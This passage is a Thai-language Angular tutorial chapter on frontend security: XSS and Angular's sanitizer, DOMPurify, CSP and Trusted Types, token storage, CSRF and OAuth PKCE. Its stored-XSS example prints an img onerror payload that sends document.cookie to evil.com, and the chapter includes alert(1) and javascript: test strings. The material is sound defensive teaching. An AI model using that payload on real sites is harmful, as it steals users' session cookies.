Skip to content

บทที่ 13 — Security ใน Angular

← บทที่ 12: Accessibility | สารบัญ | บทที่ 14: Material + CDK →

🟡 หมายเหตุระดับ: บทนี้เริ่มจากพื้นฐาน (Section 1-3) แต่ครึ่งหลังแตะระดับ architect — มือใหม่ข้ามได้ในรอบแรก กลับมาอ่านตอนจะ deploy production หรือเตรียม security audit ศัพท์ในส่วน advanced: BFF = backend เล็กๆ ที่ตั้งระหว่าง browser กับ API หลัก; refresh-token = ตั๋วใช้ขอ access token ใหม่เมื่อหมดอายุ; CSP nonce = รหัสสุ่มต่อ request เพื่อให้ script ผ่าน CSP; Trusted Types = API browser บังคับให้ HTML/script ผ่าน policy ก่อน inject

⚠️ ทุกคนควรรู้พื้นฐาน — มือใหม่อ่าน Section 1-3 ก่อนพอใครควรอ่าน Section 1-3: ทุกคนที่ทำ Angular app — แค่ต้องรู้ว่า Angular sanitize XSS ให้แล้ว และอย่าใช้ [innerHTML] กับ user input ส่วน Advanced (CSP, BFF, OAuth, Trusted Types): เก็บไว้เมื่อ deploy production จริงและทีมเริ่มสน security audit

หลังจบบท คุณจะ:

  • เข้าใจ threat model ของ frontend — XSS (= inject script ผ่านข้อมูล user), CSRF (= ลวงให้ browser ส่ง request แทน user), clickjacking (= ครอบ iframe หลอกให้คลิก), supply chain (= แพ็กเกจที่ลงมีโค้ดอันตราย)
  • ใช้ Angular built-in protection (sanitizer = ระบบกัน XSS อัตโนมัติ, CSP = นโยบายโหลด script)
  • จัดการ authentication/authorization patterns (JWT, OAuth, refresh token)
  • ป้องกัน common attack ใน Angular app
  • Setup Content Security Policy (CSP) + Trusted Types
  • ทำ secure storage + audit dependency

ใช้เวลา 3-4 ชั่วโมง


1. Threat Model — รู้ศัตรู

ก่อนจะป้องกัน เราต้องรู้ก่อนว่า "ศัตรู" มีอะไรบ้าง — frontend ถูกโจมตีได้หลายทาง ตั้งแต่ฝังสคริปต์ (XSS), หลอกให้ส่งฟอร์ม (CSRF), ซ้อน iframe หลอกคลิก (clickjacking) ไปจนถึง npm package ที่แอบฝังมัลแวร์ ภาพรวมภัยคุกคามและ OWASP Top 10 ที่เกี่ยวข้องอยู่ด้านล่าง:

คิดว่าเว็บแอปคือบ้านที่มีประตูหลายบาน แต่ละภัยคุกคามเข้าบ้านคนละทาง:

  • XSS คือโจรปลอมเป็นแขก เดินเข้าบ้านแล้วแอบขโมยกุญแจ (cookie/token) ออกไป
  • CSRF คือโจรยืนอยู่นอกบ้านแต่หลอกให้เราเปิดประตูให้เอง (browser ส่ง request แทนโดยที่เราไม่รู้ตัว)
  • supply chain คือช่างซ่อมที่เราจ้างมาถูกต้อง แต่แอบฝังกล้องซ่อนไว้ในบ้านพร้อมกับการซ่อม

อ่านชื่อย่อในรายการด้านล่างแล้วให้นึกถึงภาพนี้ จะจำได้ง่ายขึ้นมาก:

text
🎯 หลัก:
- XSS (Cross-Site Scripting) — รัน JS แปลกในหน้าเรา
- CSRF (Cross-Site Request Forgery) — submit form จากเว็บอื่น
- Clickjacking — iframe ซ้อนปุ่มหลอก
- Supply chain — npm package แอบฝัง malware
- Auth bypass — JWT/cookie ถูกขโมย
- Data exposure — sensitive info ใน localStorage / URL
- DoS (frontend) — render bomb, infinite loop

📌 OWASP Top 10 (2021 — latest stable) ที่เกี่ยวกับ frontend
   (คัดมาเฉพาะข้อที่เกี่ยวข้องกับ frontend โดยตรง — ตัวเลขตรงกับ list จริงของ OWASP):
A01. Broken Access Control       — ผู้ใช้เข้าถึงข้อมูล/ฟังก์ชันที่ไม่ควรเข้าถึงได้ (เช่น user ทั่วไปเรียก API เฉพาะ admin ได้)
A02. Cryptographic Failures      — เข้ารหัสข้อมูลอ่อนไหวไม่ถูกต้องหรือไม่เข้ารหัสเลย (เช่น เก็บรหัสผ่านเป็น plain text)
A03. Injection (XSS)             — แอบยัดโค้ด/คำสั่งเข้าไปรันในระบบผ่านข้อมูล input (บทนี้เน้น XSS)
A07. Identification + Authentication Failures — ระบบยืนยันตัวตนอ่อนแอ (เช่น session ไม่หมดอายุ, password policy หลวม)
A08. Software/Data Integrity (supply chain) — พึ่งพา code/package จากภายนอกที่ตรวจสอบความถูกต้องไม่พอ
A10. SSRF (server-side แต่ก็เกี่ยว)  — server ถูกหลอกให้ยิง request ไปที่อื่นแทนผู้โจมตี (Server-Side Request Forgery)

2. XSS — Cross-Site Scripting

XSS คืออะไร

text
Attacker inject JS เข้าหน้าเว็บ → รันใน browser ของผู้ใช้
→ ขโมย cookie/token, modify DOM, redirect, keylog, ...

3 Types

text
1. Stored (Persistent)  — payload เก็บใน DB → ทุกคนที่เปิดโดน
2. Reflected            — payload ใน URL → click link แล้วโดน
3. DOM-based            — JS เอง process URL/input ไม่ปลอดภัย

Example — Stored XSS

html
<!-- User comment form (มี XSS) -->
<!-- หมายเหตุ: ตัวอย่างนี้เป็น pseudo-code แสดง concept — [(ngModel)] ต้องการ FormsModule ใน imports -->
<input [(ngModel)]="comment">
<button (click)="postComment()">Post</button>

<!-- Display -->
<div [innerHTML]="comment"></div>      <!-- ❌ DANGER -->

🔴 อย่าใช้ [innerHTML] กับ user input โดยตรง — Angular sanitizer ลบ event handler ส่วนใหญ่ได้ก็จริง แต่ยังเปิดช่องโจมตีบาง vector (ช่องทางโจมตี) เช่น <svg>, <iframe srcdoc>, mutation XSS (= XSS ที่เกิดจาก browser ปรับ HTML หลัง sanitize) ซึ่งเป็น edge case ระดับสูง — Angular v16+ จัดการ SVG ได้ดีขึ้นมาก แต่ถ้า "ต้อง" render HTML จากผู้ใช้จริงๆ ให้ผ่าน DOMPurify ก่อน (ดู section 3) เพื่อความปลอดภัยเพิ่มเติม — และอย่าใช้ bypassSecurityTrustHtml() กับค่าที่มาจาก user เด็ดขาด

Attacker post:

html
<img src=x onerror="fetch('https://evil.com/?c=' + document.cookie)">

→ ทุกคนที่เปิดหน้านี้ → cookie ถูกส่งไป evil.com


3. Angular Built-in Protection

ข่าวดีคือ Angular ป้องกัน XSS ให้เราอยู่แล้วโดยปริยาย — ทุกค่าที่ผูกผ่าน interpolation ({{ }}) หรือ property binding จะถูก "ทำให้ปลอดภัย" (escape/sanitize) อัตโนมัติ สคริปต์ที่ผู้ใช้ป้อนจึงถูกแสดงเป็นข้อความ ไม่ถูกรัน เว้นแต่เราจะไป bypass มันเอง:

text
✅ Default — Angular sanitize ALL bindings
   {{ value }}                    — escape HTML
   [property]="value"             — sanitize HTML / URL / style
   [style.color]="value"          — sanitize CSS
   [src]="value"                  — sanitize URL
typescript
// imports ถูกละไว้เพื่อความกระชับ
// import { Component } from '@angular/core';
@Component({
    template: `
        <p>{{ userInput }}</p>                          <!-- ✅ Safe (text) -->
        <div [innerHTML]="userHtml"></div>              <!-- ⚠️ Sanitized but careful -->
        <a [href]="userUrl">Link</a>                    <!-- ✅ Sanitized -->
    `
})
export class CommentComponent {
    userInput = '<script>alert("XSS")</script>';
    // Renders as: &lt;script&gt;alert("XSS")&lt;/script&gt;
    // → display as text — script ไม่รัน
    
    userHtml = '<img src=x onerror="alert(1)">';
    // Sanitizer ลบ onerror — keep <img src=x>
    
    userUrl = 'javascript:alert(1)';
    // → sanitized to "unsafe:javascript:alert(1)"
}

Security Context

text
HTML   — innerHTML, *Html
STYLE  — style binding
URL    — href, src
RESOURCE_URL — script src, iframe src (strictest)
SCRIPT — never (Angular doesn't allow)

⚠️ When You Need Raw HTML

typescript
import { Component, inject } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
// inject() = วิธี Angular ขอใช้ service — อ่านรายละเอียดในบท 6 (Dependency Injection)

@Component({
    template: `<div [innerHTML]="trustedHtml"></div>`
})
export class SafeComponent {
    private sanitizer = inject(DomSanitizer);
    
    rawHtml = '<strong>Trusted markup from CMS</strong>';
    trustedHtml: SafeHtml = this.sanitizer.bypassSecurityTrustHtml(this.rawHtml);
}
text
⚠️ bypassSecurityTrust* = ทางลับ ประตูหลัง (escape hatch) ของ Angular
   ที่บอกว่า "ฉันรู้ตัวว่าทำอะไรอยู่" — ถ้าใช้ผิด = เปิดช่อง XSS ทันที
   - bypassSecurityTrustHtml         (= บอก Angular ว่า HTML นี้ปลอดภัย)
   - bypassSecurityTrustStyle        (= CSS นี้ปลอดภัย)
   - bypassSecurityTrustUrl          (= URL นี้ปลอดภัย)
   - bypassSecurityTrustResourceUrl  (= URL สำหรับโหลด resource (script/iframe) ปลอดภัย)
   - bypassSecurityTrustScript       (= JS นี้ปลอดภัย — แทบไม่ควรใช้)

ใช้เฉพาะเมื่อ:
1. แหล่งข้อมูลเชื่อถือได้ 100% (CMS ของคุณ, server-side rendering ของเราเอง)
2. Sanitize (ทำความสะอาด) ก่อนเก็บลง DB — เช่นใช้ DOMPurify ฝั่ง server
3. มี comment อธิบายชัดว่าทำไมต้อง bypass + ใครเป็นเจ้าของข้อมูล

DOMPurify (Server-side / Pre-process)

📖 DOMPurify คือ JavaScript library ภายนอก (ไม่ใช่ของ Angular) ที่กรอง HTML ได้เข้มกว่า built-in sanitizer ของ Angular — ติดตั้งแยกด้วย npm และใช้ฝั่ง client หรือ server ก็ได้ เหมาะสำหรับกรณีที่ต้อง render HTML ที่มาจากผู้ใช้จริงๆ

bash
npm install dompurify
npm install --save-dev @types/dompurify
typescript
import DOMPurify from 'dompurify';

@Injectable({ providedIn: 'root' })
export class SafeHtmlService {
    private sanitizer = inject(DomSanitizer);
    
    sanitize(dirty: string): SafeHtml {
        const clean = DOMPurify.sanitize(dirty, {
            ALLOWED_TAGS: ['p', 'strong', 'em', 'a', 'ul', 'li'],
            ALLOWED_ATTR: ['href'],
            FORBID_TAGS: ['style', 'script'],
            FORBID_ATTR: ['onerror', 'onload', 'onclick']
        });
        return this.sanitizer.bypassSecurityTrustHtml(clean);
    }
}
html
<div [innerHTML]="safeHtml.sanitize(post.html)"></div>

→ DOMPurify ใช้ whitelist เข้มงวด — ปลอดภัยกว่า Angular sanitizer ค่าเริ่มต้น


🟢 --- จบส่วนพื้นฐานสำหรับมือใหม่ --- ถ้าอ่านมาถึงตรงนี้และเข้าใจแล้วว่า Angular sanitize ให้อัตโนมัติ + อย่าใช้ [innerHTML] กับ user input ตรงๆ ก็เพียงพอสำหรับตอนนี้ หยุดพักได้ ตั้งแต่ Section 4 เป็นต้นไปเป็นเนื้อหาระดับ intermediate-advanced (CSP, Trusted Types, OAuth, BFF ฯลฯ) กลับมาอ่านเมื่อใกล้ deploy production


4. CSP — Content Security Policy

Content Security Policy คือ "ไฟร์วอลล์ระดับเบราว์เซอร์" — เราบอกเบราว์เซอร์ผ่าน HTTP header ว่าอนุญาตให้โหลดสคริปต์/รูป/font จากแหล่งไหนได้บ้าง ทุกอย่างนอกรายการจะถูกบล็อก เป็นเกราะชั้นสำคัญที่ช่วยจำกัดความเสียหายแม้จะมี XSS หลุดเข้ามา

📌 สำคัญ: CSP ตั้งค่าที่ฝั่ง server (เช่น Nginx, Express) ไม่ใช่ใน Angular — server จะส่ง header นี้ไปพร้อม HTML ทุกครั้ง Nginx คือ web server software ยอดนิยมที่ทำหน้าที่เสิร์ฟไฟล์และตั้งค่า header ต่างๆ

text
CSP = ไฟร์วอลล์ระดับ browser — บอก browser ว่าอนุญาตโหลดอะไรจากไหน:
- script จากแหล่งที่เชื่อถือเท่านั้น
- inline script: ห้าม (เว้นแต่มี nonce/hash)
- iframe: เฉพาะที่ระบุไว้
- font/img/style: เฉพาะที่ระบุไว้

Setup CSP Header (Server)

CSP เหมือน รปภ. หน้าเว็บ — เราบอกเขาว่า "อนุญาตให้โหลด script จาก domain ไหนได้บ้าง" ถ้า script มาจาก domain ที่ไม่อยู่ในลิสต์ให้บล็อกทันที กฎพวกนี้เราพิมพ์ลงใน HTTP header (= บรรทัดข้อมูลที่ server แนบมาพร้อมทุก response โดยที่ผู้ใช้ไม่เห็น) ด้วยคำสั่งเรียกว่า directive แต่ละ directive ควบคุม "ประตู" คนละบาน เช่น script-src = กฎว่าโหลด JS ได้จากไหน, frame-ancestors = ใครฝัง iframe เราได้บ้าง, img-src = โหลดรูปจากที่ไหน ก่อนจะดู config จริง มาอ่านความหมายของแต่ละ directive ก่อน:

📖 อ่านบล็อกข้างล่างยังไง — CSP คือ header HTTP ที่บอก browser ว่า "อนุญาตให้โหลดอะไรจากไหน":

  • default-src 'self' = ค่า default = อนุญาตเฉพาะ resource จาก domain ของเราเอง
  • script-src 'nonce-...' = สคริปต์ต้องมี "รหัสผ่าน" (nonce — ตัวเลขสุ่มที่ server ออกให้ทุก request)
  • strict-dynamic = สคริปต์ที่ trust แล้ว โหลด script อื่นต่อได้ (chain)
  • frame-ancestors 'none' = ห้ามไม่ให้ใครเอาเราไปฝังใน <iframe> (ป้องกัน clickjacking)
  • img-src 'self' data: https: = รูปจากตัวเอง, data URI, หรือ HTTPS อื่นได้
nginx
Nginx (recommended — nonce + strict-dynamic):
add_header Content-Security-Policy "
    default-src 'self';
    script-src 'nonce-RANDOM_PER_REQUEST' 'strict-dynamic';
    style-src 'self' 'nonce-RANDOM_PER_REQUEST';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self' https://api.example.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    upgrade-insecure-requests;
" always;

⚠️ RANDOM_PER_REQUEST ใน snippet ด้านบนเป็น placeholder — ต้องแทนที่ด้วย nonce ที่ server gen ใหม่ทุก request (เช่น nginx_http_sub_filter_module, Express middleware ที่ตั้ง res.locals.nonce, หรือใช้ Angular SSR ที่ inject CSP_NONCE provider — ดูตัวอย่างด้านล่าง) ห้าม copy-paste literal string RANDOM_PER_REQUEST ลง production — CSP จะใช้ไม่ได้

🔴 อย่าเปิด domain ของ 3rd-party script ตรง ๆ ใน script-src: เช่น script-src 'self' https://www.googletagmanager.com — GTM โหลด script อื่นต่อ → bypass CSP ทันที (เป็น classic CSP bypass technique)

ทางที่ถูก: nonce + 'strict-dynamic' → script ที่มี nonce ถูก trust + script ที่มันโหลดต่อก็ trust ตาม chain (ไม่ต้อง whitelist domain) Angular SSR รองรับ nonce ผ่าน CSP_NONCE injection token (ดูตัวอย่างด้านล่าง) — ไม่เกี่ยวกับ inlineCriticalCss ซึ่งเป็นคนละ config (ใช้สำหรับ inline critical CSS ให้โหลดหน้าเร็วขึ้น)

⚠️ 'unsafe-inline' ใน style-src = ความเสี่ยง XSS ผ่าน CSS (เช่น expression() ใน IE, หรือ CSS injection ที่ดูดข้อมูลจาก attribute) — ปี 2026 ใช้ nonce/hash แทน

Express (if SSR)

bash
npm install helmet
typescript
import helmet from 'helmet';

app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],   // ⚠️ 'unsafe-inline' ควรแทนที่ด้วย nonce เมื่อ deploy จริง
        imgSrc: ["'self'", 'data:', 'https:'],
        connectSrc: ["'self'", 'https://api.example.com'],
        frameAncestors: ["'none'"]
    }
}));

Headers อื่นๆ ที่ควรตั้ง

text
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

Angular + CSP

text
Angular ไม่ต้องการ unsafe-inline สำหรับ JS (compile-time template)
✅ Angular 17+ ใช้ esbuild — JS ไม่ต้องการ unsafe-inline
⚠️ component styles อาจยังต้องการ nonce หรือ unsafe-inline ขึ้นกับ ViewEncapsulation และ build config
   → ทดสอบด้วย CSP report-only mode ก่อน enforce เสมอ

Strict CSP — ใช้ nonce/hash

html
<!-- Server inject nonce ต่อ request -->
<script nonce="abc123">...</script>

<!-- CSP header -->
script-src 'self' 'nonce-abc123';

ใน Angular SSR:

typescript
import { CSP_NONCE } from '@angular/core';

// generatedNonce = ค่าที่ server สร้างขึ้นใหม่ทุก request เช่น:
// const generatedNonce = require('crypto').randomBytes(16).toString('base64');
bootstrapApplication(AppComponent, {
    providers: [
        { provide: CSP_NONCE, useValue: generatedNonce }
    ]
});

5. Trusted Types (Modern Browser)

🟡 ระดับ Advanced — Section นี้เป็นระดับ architect ที่ใช้เมื่อต้องการ hardening ขั้นสูง มือใหม่ข้ามได้ในรอบแรก

Trusted Types เป็น API ของเบราว์เซอร์รุ่นใหม่ที่ปิดช่องโหว่ XSS ตรง "จุดที่อันตราย" เลย เช่น innerHTML จะรับได้เฉพาะค่าที่ผ่าน policy ที่เชื่อถือแล้วเท่านั้น โค้ดที่พยายามยัด string ดิบ ๆ เข้าไปจะถูกบล็อก — Angular 16+ รองรับให้พร้อมใช้:

นึกภาพ Trusted Types = ยามที่ยืนอยู่หน้าทุก innerHTML ของหน้าเว็บ — ก่อนใครจะ inject HTML เข้าไปได้ต้องแสดง "บัตรผ่าน" (TrustedHTML object) ที่ผ่านการตรวจจาก policy ก่อนเท่านั้น string ดิบๆ จากผู้ใช้หรือ attacker แทรกเข้าไม่ผ่าน แม้แต่บรรทัดเดียว

สำหรับมือใหม่ — ต้องทำแค่ 2 อย่าง:

  1. เพิ่ม require-trusted-types-for 'script' ใน CSP header (ดูตัวอย่าง Enable ด้านล่าง)
  2. ไม่ต้องเขียน TypeScript เพิ่ม Angular จัดการ policy ให้อัตโนมัติตั้งแต่ v16+

แค่นั้นก็เปิดใช้ Trusted Types ได้แล้ว ส่วนที่ต้องระวังคือ third-party library ที่แตะ DOM เองโดยตรง — ตัวพวกนั้นต้อง audit ก่อนว่ารองรับ Trusted Types ด้วยหรือเปล่า

text
Trusted Types = browser API — prevent XSS at injection sink
- innerHTML = trustedHTML only
- eval = trustedScript only
- script.src = trustedScriptURL only

Angular sinks ของตัวเอง (DOM sink) ผ่าน policy ของ Trusted Types ตั้งแต่ v16+
→ ใช้กับ `require-trusted-types-for 'script'` ได้
⚠️ แต่ต้อง audit (ตรวจ) 3rd-party library ที่แตะ DOM เองด้วย — ไม่ทุกตัวรองรับ

Enable

http
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types angular angular#unsafe-bypass;

→ ทุกการ inject ต้องผ่าน trusted types policy → บล็อกโค้ดจาก third-party

Angular Policy

typescript
// Angular auto-registers "angular" policy
// บอก Angular sanitizer = trusted

// bypassSecurityTrust* = uses "angular#unsafe-bypass" policy
// ⚠️ ถ้าไม่ allow ใน CSP → bypass จะ throw

⚠️ ถ้าแอปใช้ DOMPurify (หรือ library อื่น) ที่มี Trusted Types integration ของตัวเอง (สร้าง policy ชื่ออื่น เช่น dompurify) ต้องเพิ่มชื่อ policy นั้นเข้าไปใน CSP directive trusted-types ด้วย เช่น trusted-types angular angular#unsafe-bypass dompurify; ไม่งั้น Trusted Types จะบล็อกการ assign ค่าที่ DOMPurify ทำความสะอาดแล้ว


6. Authentication — JWT Pattern

📖 JWT (JSON Web Token — ข้อมูลยืนยันตัวตนที่เข้ารหัสแบบ Base64 + ลายเซ็นดิจิทัล) = ตั๋วยืนยันตัวตนที่ server ออกให้หลังล็อกอินสำเร็จ เป็น string ยาวๆ รูปแบบ xxxxx.yyyyy.zzzzz แอปส่งตั๋วนี้ไปทุกครั้งที่ขอข้อมูลเพื่อพิสูจน์ว่าเป็นผู้ใช้ที่ล็อกอินแล้ว

มาถึงเรื่องสำคัญ: จะเก็บ token ที่ยืนยันตัวตนผู้ใช้ไว้ที่ไหนให้ปลอดภัย คำถามแรกคือเลือกระหว่าง localStorage (เข้าถึงง่ายแต่ JS อ่านได้ = เสี่ยง XSS ขโมย) กับ HttpOnly cookie (JS แตะไม่ได้ = ปลอดภัยกว่า) มาเทียบข้อดีข้อเสียแล้วดูวิธีที่แนะนำ:

text
LocalStorage:
✅ Easy to access
✅ Survives page reload
❌ ACCESSIBLE TO JS — XSS = ขโมยได้
❌ Not sent automatically with request
❌ Manual add Authorization header

Cookie:
✅ HttpOnly = JS อ่าน cookie ไม่ได้ → **XSS-resistant**
   - ป้องกัน: attacker อ่าน token เพื่อขโมยออกไป (exfiltration = ดูดข้อมูลออก) ไม่ได้
   - ไม่ป้องกัน: ถ้า attacker inject script ได้ ยังเรียก `fetch('/api/transfer')` ผ่าน cookie ได้ (session = ช่วงเวลาที่ผู้ใช้ยังล็อกอินอยู่; session hijack — ยึดเซสชัน) เพราะ browser ส่ง cookie ให้อัตโนมัติ
✅ Secure = HTTPS only
✅ SameSite = CSRF protection
✅ Auto-sent with request
❌ CSRF risk (mitigate with SameSite + token)
❌ Size limit 4KB

→ Recommended: HttpOnly cookie + CSRF token
   ⚠️ ถ้าใช้ OAuth redirect flow (เช่น Google login) ให้ใช้ `SameSite=Lax` แทน `Strict`
      เพราะ `Strict` จะบล็อก cookie เมื่อ browser redirect กลับจาก auth provider

❌ Insecure — localStorage

typescript
// ❌ อันตราย — token ใน localStorage อ่านได้จาก JS ทุกตัว
import { Injectable, inject } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { firstValueFrom } from 'rxjs';

interface Creds { email: string; password: string; }

@Injectable({ providedIn: 'root' })
export class AuthService {
    private http = inject(HttpClient);
    
    async login(creds: Creds) {
        const res = await firstValueFrom(this.http.post<{ token: string }>('/api/login', creds));
        localStorage.setItem('token', res.token);    // ⚠️ ถ้าโดน XSS = token ถูกขโมยได้ทันที
    }
    
    get token() {
        return localStorage.getItem('token');
    }
}
typescript
// Interceptor แนบ Authorization header ทุก request
// interceptor คือฟังก์ชันที่คั่นทุก HTTP request — ดูรายละเอียดในบท 8 (HTTP + interceptors)
// ⚠️ ตัวอย่างนี้สมมติว่าแอปรันฝั่ง browser เท่านั้น — ถ้าแอปใช้ SSR (Server-Side Rendering)
//    localStorage ไม่มีอยู่ฝั่ง server จะ throw ReferenceError ทันที ต้อง guard ด้วย isPlatformBrowser ก่อน
export const authInterceptor: HttpInterceptorFn = (req, next) => {
    const token = localStorage.getItem('token');
    if (token) {
        req = req.clone({ setHeaders: { Authorization: `Bearer ${token}` } });
    }
    return next(req);
};
typescript
// Backend sets cookie:
// Set-Cookie: token=jwt; HttpOnly; Secure; SameSite=Strict; Path=/
// (ใช้ SameSite=Lax แทน Strict ถ้าใช้ OAuth redirect flow)

// Frontend = no token in JS
import { Injectable, inject } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { firstValueFrom } from 'rxjs';

interface Creds { email: string; password: string; }

@Injectable({ providedIn: 'root' })
export class AuthService {
    private http = inject(HttpClient);
    
    async login(creds: Creds) {
        // Browser auto-stores cookie
        return firstValueFrom(this.http.post<User>('/api/login', creds, {
            withCredentials: true       // ⭐ บอก browser ให้แนบ cookie ไปด้วยแม้ยิงไป domain อื่น
        }));
    }
    
    async getMe() {
        // Cookie auto-sent
        return firstValueFrom(this.http.get<User>('/api/me', {
            withCredentials: true
        }));
    }
}
typescript
// app.config.ts — set globally
provideHttpClient(
    withFetch(),                       // ใช้ Fetch API แทน XHR (recommended ใน Angular 18+)
    withInterceptors([
        // บอก browser ให้แนบ cookie ไปด้วยแม้ยิงไป domain อื่น
        (req, next) => next(req.clone({ withCredentials: true }))
    ])
)

⚠️ withCredentials: true แบบ "ใส่ทุก request" สะดวกแต่อันตรายถ้าแอปยิงไป API หลายโดเมน — cookie จะถูกส่งไปด้วยทุกครั้ง (รวม third-party CDN/analytics) ปลอดภัยกว่า: เปิดเฉพาะ request ไปยัง backend ของเรา (เช่นเช็ค req.url.startsWith('/api/') ใน interceptor) และ backend ต้องตั้ง Access-Control-Allow-Origin แบบ exact (ห้าม *) ถึงจะใช้กับ credentials ได้

📌 arrow function ข้างบนเป็นตัวอย่างสั้น ๆ ให้เห็น concept — ในโปรเจกต์จริงแนะนำเขียนเป็น named interceptor แยกไฟล์ เช่น credentialsInterceptor (ดูตัวอย่างเต็มใน section 22 ท้ายบท) เพื่อความสม่ำเสมอและ reuse ได้ง่าย

วิธีนี้ทำงานอย่างไร — backend ตั้ง cookie ชื่อ XSRF-TOKEN พร้อมค่าสุ่ม (เช่น abc123) ทันทีที่ผู้ใช้ล็อกอินสำเร็จ Angular อ่านค่านั้นแล้วแนบ header X-XSRF-TOKEN: abc123 ไปกับทุก POST/PUT/DELETE อัตโนมัติ หัวใจของการป้องกันอยู่ตรงนี้: evil.com ไม่สามารถอ่าน cookie ของ bank.com ได้ (browser บล็อก cross-origin cookie access) จึงไม่รู้ค่า abc123 และปลอม header ไม่ได้ เมื่อ server เห็นว่า header ตรงกับ cookie จึงรู้ว่า request นี้มาจากหน้าเว็บจริงของเรา ไม่ใช่จาก evil.com:

typescript
import { withXsrfConfiguration } from '@angular/common/http';

provideHttpClient(
    withXsrfConfiguration({
        cookieName: 'XSRF-TOKEN',
        headerName: 'X-XSRF-TOKEN'
    })
)

→ Angular auto-read cookie XSRF-TOKEN + add header X-XSRF-TOKEN to non-GET requests
→ Backend verify header matches cookie


7. OAuth 2.0 / OIDC Pattern

🟡 ระดับ Intermediate-AdvancedOAuth เป็นมาตรฐานการล็อกอินผ่านบัญชีของผู้ให้บริการอื่น (เช่น Google, Facebook) ถ้าแอปยังไม่ต้องการ social login ข้ามไปได้ก่อน

แทนที่จะจัดการรหัสผ่านเอง แอปสมัยใหม่มักให้ผู้ใช้ล็อกอินผ่านผู้ให้บริการกลาง (Google, Auth0 ฯลฯ) ด้วยมาตรฐาน OAuth 2.0 / OIDC สำหรับ SPA วิธีที่ปลอดภัยที่แนะนำคือ PKCE flow ซึ่งป้องกันการดักขโมย authorization code มาดูขั้นตอนและการตั้งค่า:

📖 ศัพท์: OIDC (OpenID Connect — ส่วนเสริมของ OAuth 2.0 ที่เพิ่มการยืนยันตัวตน), PKCE (Proof Key for Code Exchange — วิธีกัน authorization code ที่ออกให้ถูกขโมยกลางทาง), verifier+challenge = คู่ค่าสุ่มที่ client gen (ส่ง challenge ก่อน แล้วค่อยส่ง verifier ทีหลังเพื่อยืนยันว่าเป็นคนเดียวกัน), authorization code = ตั๋วชั่วคราวที่ auth server ออกให้แล้ว client แลกเป็น token อีกที

ให้นึกถึง PKCE เหมือนการฝากกระเป๋าที่ห้องฝากของสนามบิน แบ่งเป็น 3 ขั้นตอนสั้น ๆ:

  1. เราสร้างรหัสลับสุ่มในใจ (verifier เช่น s3cr3t-xyz) แล้วส่งแค่ลายนิ้วมือ (fingerprint) ของมัน — ซึ่งก็คือ SHA256 hash ที่เรียกว่า challenge — ให้ Google ไว้ก่อน
  2. Google ออกตั๋วรับกระเป๋าชั่วคราว (authorization code) ส่งกลับมา
  3. เราเอาตั๋วนั้น + รหัสลับตัวจริง (verifier) ไปยืนยันที่เคาน์เตอร์เพื่อแลกของจริง (access token) — ถ้ามีโจรขโมยตั๋วระหว่างทาง พวกเขาไม่มี verifier ตัวจริงก็ใช้ตั๋วไม่ได้

map กับ step ด้านล่าง: step 1 = สร้าง verifier+challenge, step 2-4 = ฝาก challenge และรับตั๋ว, step 5 = เอา verifier+ตั๋วไปแลก token จริง:

text
1. App generates random verifier + challenge (SHA256 hash ของ verifier)
2. Redirect to auth server with challenge
3. User logs in at auth server
4. Auth server redirects back with code
5. App exchanges code + verifier for token
6. Use token

Library — angular-oauth2-oidc

bash
npm install angular-oauth2-oidc
typescript
// app.config.ts
import { provideOAuthClient } from 'angular-oauth2-oidc';

providers: [
    provideOAuthClient()
]
typescript
// auth.service.ts
import { OAuthService } from 'angular-oauth2-oidc';

@Injectable({ providedIn: 'root' })
export class AuthService {
    private oauthService = inject(OAuthService);
    
    constructor() {
        this.oauthService.configure({
            issuer: 'https://auth.example.com',
            clientId: 'my-app',
            redirectUri: window.location.origin + '/callback',
            scope: 'openid profile email',
            responseType: 'code',
            useSilentRefresh: true,
            silentRefreshTimeout: 5000,
            timeoutFactor: 0.75
        });
        
        this.oauthService.loadDiscoveryDocumentAndTryLogin();
    }
    
    login() {
        this.oauthService.initLoginFlow();
    }
    
    logout() {
        this.oauthService.logOut();
    }
    
    get isLoggedIn() {
        return this.oauthService.hasValidAccessToken();
    }
    
    get user() {
        const claims = this.oauthService.getIdentityClaims();
        return claims as { sub: string; email: string; name: string };
    }
}

→ Library จัดการ PKCE, refresh, silent renew

⚠️ useSilentRefresh: true อาศัย hidden iframe + third-party cookies ซึ่งถูก block โดย modern browsers (Chrome, Safari ปี 2024+) ใน cross-origin context — ใน production ควรใช้ refresh token rotation แทน (ดูเอกสาร angular-oauth2-oidc เรื่อง code flow + PKCE + refresh token)

Refresh Token

📌 หมายเหตุ: pattern ด้านล่างเหมาะสำหรับ cookie-based auth (เพราะ browser ส่ง cookie ใหม่อัตโนมัติหลัง refresh) — ถ้าใช้ header-based JWT ต้องดึง token ใหม่จาก AuthService ก่อน clone request

401 คือ HTTP status code ที่ server ส่งกลับมาเมื่อ token หมดอายุ — interceptor ทำหน้าที่ดัก 401 นี้แล้วขอ token ใหม่โดยอัตโนมัติ เปรียบเหมือนพนักงานต้อนรับที่เห็นว่าบัตรแขกหมดอายุ วิ่งไปต่อบัตรให้เองทันทีโดยที่แขกยังนั่งรอโดยไม่รู้ตัวว่าเกิดอะไรขึ้น

typescript
// interceptor จัดการ 401 — รองรับ production: เรียง request ที่รอ refresh และแชร์ observable เดียวกัน
import { Observable, throwError } from 'rxjs';
import { catchError, shareReplay, switchMap, finalize } from 'rxjs/operators';
// ⚠️ โค้ดนี้ใช้ RxJS Observables ขั้นสูง (shareReplay/switchMap/finalize) — ถ้ายังไม่ผ่านบท RxJS มาก่อน
//    ให้อ่านแค่ concept "แชร์ observable เดียวกันกันไม่ให้ refresh ซ้ำ" จากคำอธิบายด้านล่าง โดยไม่ต้องเข้าใจ syntax ทุกบรรทัด แล้วค่อยกลับมาไล่โค้ดละเอียดทีหลัง
